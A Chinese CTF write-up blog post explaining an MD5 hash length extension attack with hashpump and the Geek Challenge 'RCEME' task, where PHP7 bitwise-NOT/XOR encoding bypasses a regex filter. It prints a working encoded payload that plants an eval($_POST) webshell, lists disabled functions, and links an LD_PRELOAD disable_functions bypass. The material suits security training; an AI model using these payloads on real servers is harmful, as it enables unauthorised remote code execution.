Hashpump实现哈希长度扩展攻击 | [极客大挑战]RCEME

Hashpump实现哈希长度扩展攻击 | RCEME


0x01 HASH长度拓展攻击

哈希长度拓展攻击的原理有点过于复杂了,这里直接copy其他大佬的描述了。
长度扩展攻击(length extension attack),是指针对某些允许包含额外信息的加密散列函数的攻击手段。对于满足以下条件的散列函数,都可以作为攻击对象:

① 加密前将待加密的明文按一定规则填充到固定长度(例如512或1024比特)的倍数;

② 按照该固定长度,将明文分块加密,并用前一个块的加密结果,作为下一块加密的初始向量(Initial Vector)。

满足上述要求的散列函数称为Merkle–Damgård散列函数(Merkle–Damgård hash function),下列散列函数都属于Merkle–Damgård散列函数:

MD4
MD5
RIPEMD-160
SHA-0
SHA-1
SHA-256
SHA-512
WHIRLPOOL

对于H(salt+data)形式的加密,在以下条件满足的情况下,攻击者可以通过该方法获取H(salt+一定规则构造的data):

① 知道密文的加密算法且该算法满足Merkle–Damgård散列函数特征;

② 不知道salt,但知道salt的长度,并可控制data的值;

③ 可以得到一个H(salt+data)的值。

简而言之,你要满足的条件就是:

  • 知道salt的长度
  • 知道salt+data的Hash值,并且data是你所知道的明文

这样你就能填充其他字符来得到一个和该salt+data计算出的hash值相同的一串字符串,整个过程你是不知道秘钥salt的。

分析:http://ctf5.shiyanbar.com/web/kzhan.php
在这里插入图片描述
注意到这里set-cookie有两个奇怪的值,我们将source任意调整后给出源码:

$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
    if (urldecode($username) === "admin" && urldecode($password) != "admin") {
        if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
            echo "Congratulations! You are a registered user.\n";
            die ("The flag is ". $flag);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("You are not an admin! LEAVE.");
    }
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
    setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
    if ($_COOKIE["source"] != 0) {
        echo ""; // This source code is outputted here
    }
}

题目思路很简单,你提交的getmein的值和md5($secret+$_POST['username']+$_POST[''passname])的值一样,并且你提交的password不能是admin

我们已知的有:md5($secret+'adminadmin')密钥的长度,那么我们可以通过附加的字符串得到一个md5值和md5($secret+'admin'+'返回的字符串')一样,那么我们只要输入这串返回的字符串,并且输入这个MD5就自然相等了。

这里使用hashpump这款工具:
md5($secret+'adminadmin')----相当于Signature,而我们输入的data是adminadmin,密钥的长度告诉我们是15位,随意添加字符串,得到我们用这个密钥加密后的新MD5,就是md5($secret+‘admin’+‘返回的字符串’)

在这里插入图片描述注意字符串在url提交时,应url编码,将\x换成%:
在这里插入图片描述

[极客大挑战]RCEME(php7特性去绕过黑名单、恶意共享库攻击绕过被过滤方法)

我们先看一个与之类似的题目:

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
    //$hint =  "php function getFlag() to get flag"
}

主要的目的就是让我们绕过正则匹配,之后执行getFlag()函数,通过wappalyzer插件我们知道了是PHP7的版本,基于php7,我们可以根据php7的特性进行解题。在这里插入图片描述这里解析方式的意味着:

phpinfo() #php5、php7可执行
(phpinfo)() #php7可执行

所以在php7的环境中,我们可以使用编码转换等形式,将phpinfo转换成一些不可见字符再传入到题目中,这样不仅绕过了正则的匹配,也成功的执行了函数,这里进行编码转换的方式有很多种,常用的有“^”和~ 异或生成的不可见字符比较多,这里更倾向于使用“~”(求反运算符)。
下面是生成方式,使用URL编码的原因是,在进行“~”运算时,经常会生成不可见字符。
在这里插入图片描述payload:(~%8F%97%8F%96%91%99%90)();即能得到phpinfo()

极客大挑战 RCEME:

<?php
error_reporting(0);
if(isset($_GET['code'])){
        $code=$_GET['code'];
            if(strlen($code)>40){
                    die("This is too Long.");
                    }
            if(preg_match("/[A-Za-z0-9]+/",$code)){
                    die("NO.");
                    }
            @eval($code);
}
else{
        highlight_file(__FILE__);
}
highlight_file(__FILE);

// ?>

同理这个题我们也是这样构造,查看phpinfo()看被禁的方法:
在这里插入图片描述如下方法全部被禁:

pcntl_alarm
pcntl_fork
pcntl_waitpid
pcntl_wait
pcntl_wifexited
pcntl_wifstopped
pcntl_wifsignaled
pcntl_wifcontinued
pcntl_wexitstatus
pcntl_wtermsig
pcntl_wstopsig
pcntl_signal
pcntl_signal_get_handler
pcntl_signal_dispatch
pcntl_get_last_error
pcntl_strerror
pcntl_sigprocmask
pcntl_sigwaitinfo
pcntl_sigtimedwait
pcntl_exec
pcntl_getpriority
pcntl_setpriority
pcntl_async_signals
system
exec
shell_exec
popen
proc_open
passthru
symlink
link
syslog
imap_open
ld
dl

留意一下发现assert没有被禁,但是注意:在这里插入图片描述PHP>7.1后,assert便不是函数了,因此不支持被可变函数调用,但是这个题的版本是PHP7.0,因此仍然assert为函数.

我们先利用print_r(scandir('./'));来查看当前目录:
在这里插入图片描述只有index.php,试着读一下根目录:
在这里插入图片描述发现有readflagflag文件,这里直接构造readfile('/flag');
发现读不出东西,在尝试读取readflag,发现:
在这里插入图片描述
是个二进制可执行文件,这里在网上搜罗到了类似的一句话payload,直接蚁剑连接即可:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

在这里插入图片描述接下来是比较骚的姿势了,初次见面233:

大概就是通过linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE。
附上链接:
https://www.anquanke.com/post/id/175403

exp链接:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

其实打靶机的时候也用过环境变量提权,这个PHP版本的环境变量进行RCE也算是多加学习吧。

接下来的事就是上传php和so文件改变环境变量(应上传至/tmp路径下)即可,exp附上了,最后成功得到flag!
在这里插入图片描述


参考链接:http://www.pdsdt.lovepdsdt.com/index.php/2019/10/17/php7-%e5%87%bd%e6%95%b0%e7%89%b9%e6%80%a7%e5%88%86%e6%9e%90/

exp链接:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值